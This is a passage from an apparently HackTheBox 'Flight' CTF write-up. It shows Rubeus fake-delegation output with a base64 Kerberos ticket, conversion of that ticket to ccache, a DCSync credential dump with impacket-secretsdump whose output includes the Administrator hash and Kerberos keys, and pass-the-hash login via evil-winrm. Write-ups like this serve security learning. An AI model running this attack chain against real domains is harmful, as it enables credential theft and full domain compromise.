  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.6.4 


[*] Action: Request Fake Delegation TGT (current user)

[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/g0.flight.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: bsm39jxemvcJL4y8nbQtNJL+WPxIpcXY7iGqg2mpPA8=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

      doIFVDCCBVCgAwIBBaEDAgEWooIEZDCCBGBhggRcMIIEWKADAgEFoQwbCkZMSUdIVC5IVEKiHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCkZMSUdIVC5IVEKjggQgMIIEHKADAgESoQMCAQKiggQOBIIECljMnDaadMbbBtYBdWoked+mwwbDqjrARDJ1glEdEX6GAXR+HHwzFHfv7BnQwNrijBE7Fn/nEWHWt/U8cXSKTtoeMTTXQ+XOwH6nt7otiR1yIrlpor58NuBOnSBuXXHbxAhOcBorqelOJwJdl2+u8XWW7u5JkmAo1Le7FfZ6WSx3P8oVAbppvDAexnNUipJ1UxpRLrfKGe4pNGLVQ7/I0xN3v1vRCySGwyEECfoFlVgBQ381yO9HmbJ8zZyWLAGvQxZE63PiPr5900XR1cV+Ubs1IWhUq+3rvUoAP0jIayiBBj7qqNfTbng9RNjuIpoOnOAQgOY7/+dnWVeSGWxo/WjOblY3kvz0NTeu5iDdTRVcWMqAiz6V3ZxIXKWsP0XLksG7zgSsKU+lXYInaqLuZ1v4f/3eo9QEIBZah0lSneoOcJEct8Tkl89axervEKn47IK9JtjLp6ig2utn6YErhB0L58D9/VfEzrE75wiUT+xHsg/RRfAQ4w0txMHQJVebTtRp/38bkO/420qK7vof/qhA1l0BGkJhv/3PF8Ex4EQ6RxJxgwbmsZe+HMdmkMozYiHNYmXou1KHgIrZma4oC3Ex+eke/sGz1pcmm7FIQYoXxCkvWTtPVcZz4llp/WeW05MYpPFIZnkwllpOuyhuuSn0qzLJt02gS5rvSg3FqqcPQGLdisRs4EUF9gPx35hCWQn9BK3QSay2RYTdqIIuB70x0gNDI4NVIBGFSrponI1qSmyuw+2sCq8Wy4tvoyME2ztuMUUJBg8JiIuAADDdhaQGaZb6HKfCQgD7K9v8cT8jRCVWtSU2tBEfugEYUnNtrmQQcZjP440r/HSjRcuX58iuQQ81yulrLzr1IErQRQ2M+BEZ5HbBiGELcvdZkyOkpeVtmDoMjXcX81zVmt9N5ocsQW75czgEe1g1tIrpdFh3Djf2KjfP6rxglTLmW6t8IqCxRW7K2GlyZTju+mrKII2z44bNEIqkyhJnWYlnJErepKQBDOfwPut1KNftSWOB28P9uBAdw1iDuonRn6McQxlxiTQKWmrVXmbhzjcpB1ge5k57L0lk60rc6p1fCqhME93Dj8VZCZGPrqyYzWMH6hOZ/WiM3mp9NlRrRerzAz/VFweVt2PjbR22HAlztd6K2Uq0jCfqtOiLcUAO1WQUn+gJiLVjdt+DX/x/JH1PC/KkN1eFhAcChyzgxrZ1jeqyohE+D0Hmllx8+q9FqEE+9uvQERgnTlM8049fIblDmdOaLgugUvKPUZWLMZ8zhsKTlFsT5GzwX+fbVbYLnyyAZvQ9ujcp9Hy9Brltzjh+G7we8Ngp7y4zBL/fbDuNEAUBDi8grmy/ReYT/owsw8vOVkHTRmvktszOAmSJo4HbMIHYoAMCAQCigdAEgc19gcowgceggcQwgcEwgb6gKzApoAMCARKhIgQg+HC5NDjzbpcWIpzVC4p3MHDAmYfVk/zZMqkGQFQgjqKhDBsKRkxJR0hULkhUQqIQMA6gAwIBAaEHMAUbA0cwJKMHAwUAYKEAAKURGA8yMDI2MDEyNDA0MDk1NFqmERgPMjAyNjAxMjQxNDA5NTRapxEYDzIwMjYwMTMxMDQwOTU0WqgMGwpGTElHSFQuSFRCqR8wHaADAgECoRYwFBsGa3JidGd0GwpGTElHSFQuSFRC

We get the ticket in Base64 kirbi format. We decode it cat ticket.kirbi.b64 | base64 -d > ticket.kirbi and then we need to convert it to ccache format and finally export it for kerberos use with our commands.

impacket-ticketConverter ticket.kirbi ticket.ccache 
export KRB5CCNAME=ticket.ccache

Finally we perform a DCSync attack telling the DC to get only the Administrator hash. We use also faketime in order to replicate DC’s time.

DCSync attack
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
└─$ faketime "$(ntpdate -q flight.htb | cut -d ' ' -f 1,2)" impacket-secretsdump -k -no-pass  -just-dc-user Administrator g0.flight.htb                                    
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:43bbfc530bab76141b12c8446e30c17c:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:08c3eb806e4a83cdc660a54970bf3f3043256638aea2b62c317feffb75d89322
Administrator:aes128-cts-hmac-sha1-96:735ebdcaa24aad6bf0dc154fcdcb9465
Administrator:des-cbc-md5:c7754cb5498c2a2f
[*] Cleaning up... 

To get the root flag we connect via evil-winrm with PTH.

1
└─$ evil-winrm -i flight.htb -u Administrator -H <HASH>